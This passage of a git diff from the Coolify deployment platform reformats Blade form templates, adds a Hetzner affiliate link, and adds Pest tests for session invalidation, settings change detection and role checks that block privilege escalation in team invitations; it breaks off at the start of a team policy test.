x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
|
||||
|
|
@ -1036,8 +1075,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
|
|||
<h3 class="text-2xl font-bold">New Private Key</h3>
|
||||
<button @click="modalOpen=false"
|
||||
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
|
||||
stroke-width="1.5" stroke="currentColor">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
</button>
|
||||
|
|
@ -1060,10 +1099,12 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
|
|||
if (firstInput) firstInput.focus();
|
||||
}, 200);
|
||||
}
|
||||
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
|
||||
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
|
||||
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
})"
|
||||
class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
|
||||
x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
|
||||
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
|
||||
|
|
@ -1076,8 +1117,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
|
|||
<h3 class="text-2xl font-bold">New GitHub App</h3>
|
||||
<button @click="modalOpen=false"
|
||||
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
|
||||
stroke-width="1.5" stroke="currentColor">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
</button>
|
||||
|
|
@ -1090,4 +1131,4 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
|
|||
</template>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -90,12 +90,12 @@
|
|||
@if ($application->build_pack !== 'dockercompose')
|
||||
<div class="flex items-end gap-2">
|
||||
@if ($application->settings->is_container_label_readonly_enabled == false)
|
||||
<x-forms.input placeholder="https://coolify.io" wire:model.blur="fqdn"
|
||||
<x-forms.input placeholder="https://coolify.io" wire:model="application.fqdn"
|
||||
label="Domains" readonly
|
||||
helper="Readonly labels are disabled. You can set the domains in the labels section."
|
||||
x-bind:disabled="!canUpdate" />
|
||||
@else
|
||||
<x-forms.input placeholder="https://coolify.io" wire:model.blur="fqdn"
|
||||
<x-forms.input placeholder="https://coolify.io" wire:model="application.fqdn"
|
||||
label="Domains"
|
||||
helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
|
||||
x-bind:disabled="!canUpdate" />
|
||||
|
|
|
|||
|
|
@ -7,7 +7,7 @@
|
|||
<x-forms.button type="submit">Save</x-forms.button>
|
||||
</div>
|
||||
<x-forms.textarea useMonacoEditor monacoEditorLanguage="yaml" label="Docker Compose file" rows="20"
|
||||
id="dockerComposeRaw"
|
||||
id="dockerComposeRaw" autofocus
|
||||
placeholder='services:
|
||||
ghost:
|
||||
documentation: https://ghost.org/docs/config
|
||||
|
|
|
|||
|
|
@ -7,8 +7,8 @@
|
|||
<x-forms.button type="submit">Save</x-forms.button>
|
||||
</div>
|
||||
<div class="space-y-4">
|
||||
<x-forms.input id="imageName" label="Image Name" placeholder="nginx or ghcr.io/user/app"
|
||||
helper="Enter the Docker image name with optional registry. Examples: nginx, ghcr.io/user/app, localhost:5000/myapp"
|
||||
<x-forms.input id="imageName" label="Image Name" placeholder="nginx, docker.io/nginx:latest, ghcr.io/user/app:v1.2.3, or nginx:stable@sha256:abc123..."
|
||||
helper="Enter the Docker image name with optional registry. You can also paste a complete reference like 'nginx:stable@sha256:abc123...' and the fields below will be auto-filled."
|
||||
required autofocus />
|
||||
<div class="relative grid grid-cols-1 gap-4 md:grid-cols-2">
|
||||
<x-forms.input id="imageTag" label="Tag (optional)" placeholder="latest"
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@
|
|||
<h2>Dockerfile</h2>
|
||||
<x-forms.button type="submit">Save</x-forms.button>
|
||||
</div>
|
||||
<x-forms.textarea rows="20" id="dockerfile"
|
||||
<x-forms.textarea useMonacoEditor monacoEditorLanguage="dockerfile" rows="20" id="dockerfile" autofocus
|
||||
placeholder='FROM nginx
|
||||
EXPOSE 80
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
|
|
|
|||
|
|
@ -14,15 +14,22 @@
|
|||
<x-forms.input required id="name" label="Token Name"
|
||||
placeholder="e.g., Production Hetzner. tip: add Hetzner project name to identify easier" />
|
||||
|
||||
<x-forms.input required type="password" id="token" label="API Token"
|
||||
placeholder="Enter your API token" />
|
||||
<x-forms.input required type="password" id="token" label="API Token" placeholder="Enter your API token" />
|
||||
|
||||
@if (auth()->user()->currentTeam()->cloudProviderTokens->where('provider', $provider)->isEmpty())
|
||||
<div class="text-sm text-neutral-500 dark:text-neutral-400">
|
||||
Create an API token in the <a
|
||||
href='{{ $provider === 'hetzner' ? 'https://console.hetzner.com/projects' : '#' }}'
|
||||
target='_blank' class='underline dark:text-white'>{{ ucfirst($provider) }} Console</a> → choose
|
||||
href='{{ $provider === 'hetzner' ? 'https://console.hetzner.com/projects' : '#' }}' target='_blank'
|
||||
class='underline dark:text-white'>{{ ucfirst($provider) }} Console</a> → choose
|
||||
Project → Security → API Tokens.
|
||||
@if ($provider === 'hetzner')
|
||||
<br><br>
|
||||
Don't have a Hetzner account? <a href='https://coolify.io/hetzner' target='_blank'
|
||||
class='underline dark:text-white'>Sign up here</a>
|
||||
<br>
|
||||
<span class="text-xs">(Coolify's affiliate link, only new accounts - supports us (€10)
|
||||
and gives you €20)</span>
|
||||
@endif
|
||||
</div>
|
||||
@endif
|
||||
|
||||
|
|
@ -42,13 +49,18 @@
|
|||
</div>
|
||||
</div>
|
||||
<div class="flex-1 min-w-64">
|
||||
<x-forms.input required type="password" id="token" label="API Token"
|
||||
placeholder="Enter your API token" />
|
||||
<x-forms.input required type="password" id="token" label="API Token" placeholder="Enter your API token" />
|
||||
@if (auth()->user()->currentTeam()->cloudProviderTokens->where('provider', $provider)->isEmpty())
|
||||
<div class="text-sm text-neutral-500 dark:text-neutral-400 mt-2">
|
||||
Create an API token in the <a href='https://console.hetzner.com/projects' target='_blank'
|
||||
class='underline dark:text-white'>Hetzner Console</a> → choose Project → Security → API
|
||||
Tokens.
|
||||
<br><br>
|
||||
Don't have a Hetzner account? <a href='https://coolify.io/hetzner' target='_blank'
|
||||
class='underline dark:text-white'>Sign up here</a>
|
||||
<br>
|
||||
<span class="text-xs">(Coolify's affiliate link, only new accounts - supports us (€10)
|
||||
and gives you €20)</span>
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -68,11 +68,14 @@
|
|||
@foreach ($this->availableServerTypes as $serverType)
|
||||
<option value="{{ $serverType['name'] }}">
|
||||
{{ $serverType['description'] }} -
|
||||
{{ $serverType['cores'] }} vCPU,
|
||||
{{ $serverType['memory'] }}GB RAM,
|
||||
{{ $serverType['cores'] }} vCPU
|
||||
@if (isset($serverType['cpu_vendor_info']) && $serverType['cpu_vendor_info'])
|
||||
({{ $serverType['cpu_vendor_info'] }})
|
||||
@endif
|
||||
, {{ $serverType['memory'] }}GB RAM,
|
||||
{{ $serverType['disk'] }}GB
|
||||
@if (isset($serverType['architecture']))
|
||||
({{ $serverType['architecture'] }})
|
||||
[{{ $serverType['architecture'] }}]
|
||||
@endif
|
||||
@if (isset($serverType['prices']))
|
||||
-
|
||||
|
|
|
|||
136
tests/Feature/DeletesUserSessionsTest.php
Normal file
136
tests/Feature/DeletesUserSessionsTest.php
Normal file
|
|
@ -0,0 +1,136 @@
|
|||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('invalidates sessions when password changes', function () {
|
||||
// Create a user
|
||||
$user = User::factory()->create([
|
||||
'password' => Hash::make('old-password'),
|
||||
]);
|
||||
|
||||
// Create fake session records for the user
|
||||
DB::table('sessions')->insert([
|
||||
[
|
||||
'id' => 'session-1',
|
||||
'user_id' => $user->id,
|
||||
'ip_address' => '127.0.0.1',
|
||||
'user_agent' => 'Test Browser',
|
||||
'payload' => base64_encode('test-payload-1'),
|
||||
'last_activity' => now()->timestamp,
|
||||
],
|
||||
[
|
||||
'id' => 'session-2',
|
||||
'user_id' => $user->id,
|
||||
'ip_address' => '127.0.0.1',
|
||||
'user_agent' => 'Test Browser',
|
||||
'payload' => base64_encode('test-payload-2'),
|
||||
'last_activity' => now()->timestamp,
|
||||
],
|
||||
]);
|
||||
|
||||
// Verify sessions exist
|
||||
expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(2);
|
||||
|
||||
// Change password
|
||||
$user->password = Hash::make('new-password');
|
||||
$user->save();
|
||||
|
||||
// Verify all sessions for this user were deleted
|
||||
expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(0);
|
||||
});
|
||||
|
||||
it('does not invalidate sessions when password is unchanged', function () {
|
||||
// Create a user
|
||||
$user = User::factory()->create([
|
||||
'password' => Hash::make('password'),
|
||||
]);
|
||||
|
||||
// Create fake session records for the user
|
||||
DB::table('sessions')->insert([
|
||||
[
|
||||
'id' => 'session-1',
|
||||
'user_id' => $user->id,
|
||||
'ip_address' => '127.0.0.1',
|
||||
'user_agent' => 'Test Browser',
|
||||
'payload' => base64_encode('test-payload'),
|
||||
'last_activity' => now()->timestamp,
|
||||
],
|
||||
]);
|
||||
|
||||
// Update other user fields (not password)
|
||||
$user->name = 'New Name';
|
||||
$user->save();
|
||||
|
||||
// Verify session still exists
|
||||
expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1);
|
||||
});
|
||||
|
||||
it('does not invalidate sessions when password is set to same value', function () {
|
||||
// Create a user with a specific password
|
||||
$hashedPassword = Hash::make('password');
|
||||
$user = User::factory()->create([
|
||||
'password' => $hashedPassword,
|
||||
]);
|
||||
|
||||
// Create fake session records for the user
|
||||
DB::table('sessions')->insert([
|
||||
[
|
||||
'id' => 'session-1',
|
||||
'user_id' => $user->id,
|
||||
'ip_address' => '127.0.0.1',
|
||||
'user_agent' => 'Test Browser',
|
||||
'payload' => base64_encode('test-payload'),
|
||||
'last_activity' => now()->timestamp,
|
||||
],
|
||||
]);
|
||||
|
||||
// Set password to the same value
|
||||
$user->password = $hashedPassword;
|
||||
$user->save();
|
||||
|
||||
// Verify session still exists (password didn't actually change)
|
||||
expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1);
|
||||
});
|
||||
|
||||
it('invalidates sessions only for the user whose password changed', function () {
|
||||
// Create two users
|
||||
$user1 = User::factory()->create([
|
||||
'password' => Hash::make('password1'),
|
||||
]);
|
||||
$user2 = User::factory()->create([
|
||||
'password' => Hash::make('password2'),
|
||||
]);
|
||||
|
||||
// Create sessions for both users
|
||||
DB::table('sessions')->insert([
|
||||
[
|
||||
'id' => 'session-user1',
|
||||
'user_id' => $user1->id,
|
||||
'ip_address' => '127.0.0.1',
|
||||
'user_agent' => 'Test Browser',
|
||||
'payload' => base64_encode('test-payload-1'),
|
||||
'last_activity' => now()->timestamp,
|
||||
],
|
||||
[
|
||||
'id' => 'session-user2',
|
||||
'user_id' => $user2->id,
|
||||
'ip_address' => '127.0.0.1',
|
||||
'user_agent' => 'Test Browser',
|
||||
'payload' => base64_encode('test-payload-2'),
|
||||
'last_activity' => now()->timestamp,
|
||||
],
|
||||
]);
|
||||
|
||||
// Change password for user1 only
|
||||
$user1->password = Hash::make('new-password1');
|
||||
$user1->save();
|
||||
|
||||
// Verify user1's sessions were deleted but user2's remain
|
||||
expect(DB::table('sessions')->where('user_id', $user1->id)->count())->toBe(0);
|
||||
expect(DB::table('sessions')->where('user_id', $user2->id)->count())->toBe(1);
|
||||
});
|
||||
81
tests/Feature/InstanceSettingsHelperVersionTest.php
Normal file
81
tests/Feature/InstanceSettingsHelperVersionTest.php
Normal file
|
|
@ -0,0 +1,81 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\PullHelperImageJob;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Server;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('dispatches PullHelperImageJob when helper_version changes', function () {
|
||||
Queue::fake();
|
||||
|
||||
// Create user and servers
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
Server::factory()->count(3)->create(['team_id' => $team->id]);
|
||||
|
||||
$settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
|
||||
|
||||
// Change helper_version
|
||||
$settings->helper_version = 'v1.2.3';
|
||||
$settings->save();
|
||||
|
||||
// Verify PullHelperImageJob was dispatched for all servers
|
||||
Queue::assertPushed(PullHelperImageJob::class, 3);
|
||||
});
|
||||
|
||||
it('does not dispatch PullHelperImageJob when helper_version is unchanged', function () {
|
||||
Queue::fake();
|
||||
|
||||
// Create user and servers
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
Server::factory()->count(3)->create(['team_id' => $team->id]);
|
||||
|
||||
$settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
|
||||
$currentVersion = $settings->helper_version;
|
||||
|
||||
// Set to same value
|
||||
$settings->helper_version = $currentVersion;
|
||||
$settings->save();
|
||||
|
||||
// Verify no jobs were dispatched
|
||||
Queue::assertNotPushed(PullHelperImageJob::class);
|
||||
});
|
||||
|
||||
it('does not dispatch PullHelperImageJob when other fields change', function () {
|
||||
Queue::fake();
|
||||
|
||||
// Create user and servers
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
Server::factory()->count(3)->create(['team_id' => $team->id]);
|
||||
|
||||
$settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
|
||||
|
||||
// Change different field
|
||||
$settings->is_auto_update_enabled = ! $settings->is_auto_update_enabled;
|
||||
$settings->save();
|
||||
|
||||
// Verify no jobs were dispatched
|
||||
Queue::assertNotPushed(PullHelperImageJob::class);
|
||||
});
|
||||
|
||||
it('detects helper_version changes with wasChanged', function () {
|
||||
$changeDetected = false;
|
||||
|
||||
InstanceSettings::updated(function ($settings) use (&$changeDetected) {
|
||||
if ($settings->wasChanged('helper_version')) {
|
||||
$changeDetected = true;
|
||||
}
|
||||
});
|
||||
|
||||
$settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
|
||||
$settings->helper_version = 'v2.0.0';
|
||||
$settings->save();
|
||||
|
||||
expect($changeDetected)->toBeTrue();
|
||||
});
|
||||
139
tests/Feature/ServerSettingSentinelRestartTest.php
Normal file
139
tests/Feature/ServerSettingSentinelRestartTest.php
Normal file
|
|
@ -0,0 +1,139 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Create user (which automatically creates a team)
|
||||
$user = User::factory()->create();
|
||||
$this->team = $user->teams()->first();
|
||||
|
||||
// Create server with the team
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('detects sentinel_token changes with wasChanged', function () {
|
||||
$changeDetected = false;
|
||||
|
||||
// Register a test listener that will be called after the model's booted listeners
|
||||
ServerSetting::updated(function ($settings) use (&$changeDetected) {
|
||||
if ($settings->wasChanged('sentinel_token')) {
|
||||
$changeDetected = true;
|
||||
}
|
||||
});
|
||||
|
||||
$settings = $this->server->settings;
|
||||
$settings->sentinel_token = 'new-token-value';
|
||||
$settings->save();
|
||||
|
||||
expect($changeDetected)->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects sentinel_custom_url changes with wasChanged', function () {
|
||||
$changeDetected = false;
|
||||
|
||||
ServerSetting::updated(function ($settings) use (&$changeDetected) {
|
||||
if ($settings->wasChanged('sentinel_custom_url')) {
|
||||
$changeDetected = true;
|
||||
}
|
||||
});
|
||||
|
||||
$settings = $this->server->settings;
|
||||
$settings->sentinel_custom_url = 'https://new-url.com';
|
||||
$settings->save();
|
||||
|
||||
expect($changeDetected)->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects sentinel_metrics_refresh_rate_seconds changes with wasChanged', function () {
|
||||
$changeDetected = false;
|
||||
|
||||
ServerSetting::updated(function ($settings) use (&$changeDetected) {
|
||||
if ($settings->wasChanged('sentinel_metrics_refresh_rate_seconds')) {
|
||||
$changeDetected = true;
|
||||
}
|
||||
});
|
||||
|
||||
$settings = $this->server->settings;
|
||||
$settings->sentinel_metrics_refresh_rate_seconds = 60;
|
||||
$settings->save();
|
||||
|
||||
expect($changeDetected)->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects sentinel_metrics_history_days changes with wasChanged', function () {
|
||||
$changeDetected = false;
|
||||
|
||||
ServerSetting::updated(function ($settings) use (&$changeDetected) {
|
||||
if ($settings->wasChanged('sentinel_metrics_history_days')) {
|
||||
$changeDetected = true;
|
||||
}
|
||||
});
|
||||
|
||||
$settings = $this->server->settings;
|
||||
$settings->sentinel_metrics_history_days = 14;
|
||||
$settings->save();
|
||||
|
||||
expect($changeDetected)->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects sentinel_push_interval_seconds changes with wasChanged', function () {
|
||||
$changeDetected = false;
|
||||
|
||||
ServerSetting::updated(function ($settings) use (&$changeDetected) {
|
||||
if ($settings->wasChanged('sentinel_push_interval_seconds')) {
|
||||
$changeDetected = true;
|
||||
}
|
||||
});
|
||||
|
||||
$settings = $this->server->settings;
|
||||
$settings->sentinel_push_interval_seconds = 30;
|
||||
$settings->save();
|
||||
|
||||
expect($changeDetected)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not detect changes when unrelated field is changed', function () {
|
||||
$changeDetected = false;
|
||||
|
||||
ServerSetting::updated(function ($settings) use (&$changeDetected) {
|
||||
if (
|
||||
$settings->wasChanged('sentinel_token') ||
|
||||
$settings->wasChanged('sentinel_custom_url') ||
|
||||
$settings->wasChanged('sentinel_metrics_refresh_rate_seconds') ||
|
||||
$settings->wasChanged('sentinel_metrics_history_days') ||
|
||||
$settings->wasChanged('sentinel_push_interval_seconds')
|
||||
) {
|
||||
$changeDetected = true;
|
||||
}
|
||||
});
|
||||
|
||||
$settings = $this->server->settings;
|
||||
$settings->is_reachable = ! $settings->is_reachable;
|
||||
$settings->save();
|
||||
|
||||
expect($changeDetected)->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not detect changes when sentinel field is set to same value', function () {
|
||||
$changeDetected = false;
|
||||
|
||||
ServerSetting::updated(function ($settings) use (&$changeDetected) {
|
||||
if ($settings->wasChanged('sentinel_token')) {
|
||||
$changeDetected = true;
|
||||
}
|
||||
});
|
||||
|
||||
$settings = $this->server->settings;
|
||||
$currentToken = $settings->sentinel_token;
|
||||
$settings->sentinel_token = $currentToken;
|
||||
$settings->save();
|
||||
|
||||
expect($changeDetected)->toBeFalse();
|
||||
});
|
||||
64
tests/Feature/ServerSettingWasChangedTest.php
Normal file
64
tests/Feature/ServerSettingWasChangedTest.php
Normal file
|
|
@ -0,0 +1,64 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('wasChanged returns true after saving a changed field', function () {
|
||||
// Create user and server
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$settings = $server->settings;
|
||||
|
||||
// Change a field
|
||||
$settings->is_reachable = ! $settings->is_reachable;
|
||||
$settings->save();
|
||||
|
||||
// In the updated hook, wasChanged should return true
|
||||
expect($settings->wasChanged('is_reachable'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('isDirty returns false after saving', function () {
|
||||
// Create user and server
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$settings = $server->settings;
|
||||
|
||||
// Change a field
|
||||
$settings->is_reachable = ! $settings->is_reachable;
|
||||
$settings->save();
|
||||
|
||||
// After save, isDirty returns false (this is the bug)
|
||||
expect($settings->isDirty('is_reachable'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('can detect sentinel_token changes with wasChanged', function () {
|
||||
// Create user and server
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$settings = $server->settings;
|
||||
$originalToken = $settings->sentinel_token;
|
||||
|
||||
// Create a tracking variable using model events
|
||||
$tokenWasChanged = false;
|
||||
ServerSetting::updated(function ($model) use (&$tokenWasChanged) {
|
||||
if ($model->wasChanged('sentinel_token')) {
|
||||
$tokenWasChanged = true;
|
||||
}
|
||||
});
|
||||
|
||||
// Change the token
|
||||
$settings->sentinel_token = 'new-token-value-for-testing';
|
||||
$settings->save();
|
||||
|
||||
expect($tokenWasChanged)->toBeTrue();
|
||||
});
|
||||
176
tests/Feature/TeamInvitationPrivilegeEscalationTest.php
Normal file
176
tests/Feature/TeamInvitationPrivilegeEscalationTest.php
Normal file
|
|
@ -0,0 +1,176 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Team\InviteLink;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Create a team with owner, admin, and member
|
||||
$this->team = Team::factory()->create();
|
||||
|
||||
$this->owner = User::factory()->create();
|
||||
$this->admin = User::factory()->create();
|
||||
$this->member = User::factory()->create();
|
||||
|
||||
$this->team->members()->attach($this->owner->id, ['role' => 'owner']);
|
||||
$this->team->members()->attach($this->admin->id, ['role' => 'admin']);
|
||||
$this->team->members()->attach($this->member->id, ['role' => 'member']);
|
||||
});
|
||||
|
||||
describe('privilege escalation prevention', function () {
|
||||
test('member cannot invite admin (SECURITY FIX)', function () {
|
||||
// Login as member
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Attempt to invite someone as admin
|
||||
Livewire::test(InviteLink::class)
|
||||
->set('email', 'newadmin@example.com')
|
||||
->set('role', 'admin')
|
||||
->call('viaLink')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('member cannot invite owner (SECURITY FIX)', function () {
|
||||
// Login as member
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Attempt to invite someone as owner
|
||||
Livewire::test(InviteLink::class)
|
||||
->set('email', 'newowner@example.com')
|
||||
->set('role', 'owner')
|
||||
->call('viaLink')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('admin cannot invite owner', function () {
|
||||
// Login as admin
|
||||
$this->actingAs($this->admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Attempt to invite someone as owner
|
||||
Livewire::test(InviteLink::class)
|
||||
->set('email', 'newowner@example.com')
|
||||
->set('role', 'owner')
|
||||
->call('viaLink')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('admin can invite member', function () {
|
||||
// Login as admin
|
||||
$this->actingAs($this->admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Invite someone as member
|
||||
Livewire::test(InviteLink::class)
|
||||
->set('email', 'newmember@example.com')
|
||||
->set('role', 'member')
|
||||
->call('viaLink')
|
||||
->assertDispatched('success');
|
||||
|
||||
// Verify invitation was created
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'email' => 'newmember@example.com',
|
||||
'role' => 'member',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
test('admin can invite admin', function () {
|
||||
// Login as admin
|
||||
$this->actingAs($this->admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Invite someone as admin
|
||||
Livewire::test(InviteLink::class)
|
||||
->set('email', 'newadmin@example.com')
|
||||
->set('role', 'admin')
|
||||
->call('viaLink')
|
||||
->assertDispatched('success');
|
||||
|
||||
// Verify invitation was created
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'email' => 'newadmin@example.com',
|
||||
'role' => 'admin',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
test('owner can invite member', function () {
|
||||
// Login as owner
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Invite someone as member
|
||||
Livewire::test(InviteLink::class)
|
||||
->set('email', 'newmember@example.com')
|
||||
->set('role', 'member')
|
||||
->call('viaLink')
|
||||
->assertDispatched('success');
|
||||
|
||||
// Verify invitation was created
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'email' => 'newmember@example.com',
|
||||
'role' => 'member',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
test('owner can invite admin', function () {
|
||||
// Login as owner
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Invite someone as admin
|
||||
Livewire::test(InviteLink::class)
|
||||
->set('email', 'newadmin@example.com')
|
||||
->set('role', 'admin')
|
||||
->call('viaLink')
|
||||
->assertDispatched('success');
|
||||
|
||||
// Verify invitation was created
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'email' => 'newadmin@example.com',
|
||||
'role' => 'admin',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
test('owner can invite owner', function () {
|
||||
// Login as owner
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Invite someone as owner
|
||||
Livewire::test(InviteLink::class)
|
||||
->set('email', 'newowner@example.com')
|
||||
->set('role', 'owner')
|
||||
->call('viaLink')
|
||||
->assertDispatched('success');
|
||||
|
||||
// Verify invitation was created
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'email' => 'newowner@example.com',
|
||||
'role' => 'owner',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
test('member cannot bypass policy by calling viaEmail', function () {
|
||||
// Login as member
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Attempt to invite someone as admin via email
|
||||
Livewire::test(InviteLink::class)
|
||||
->set('email', 'newadmin@example.com')
|
||||
->set('role', 'admin')
|
||||
->call('viaEmail')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
});
|
||||
184
tests/Feature/TeamPolicyTest.php
Normal file
184
tests/Feature/TeamPolicyTest.php
Normal file
|
|
@ -0,0 +1,184 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Create a team with owner, admin, and member
|
||||
$this->team = Team::factory()->create();
|
||||
|
||||
$this->owner = User::factory()->create();
|
||||
$this->admin = User::factory()->create();
|
||||
$this->member = User::factory()->create();
|
||||
|
||||
$this->team->members()->attach($this->owner->id, ['role' => 'owner']);
|
||||
$this->team->members()->attach($this->admin->id, ['role' => 'admin']);
|
||||
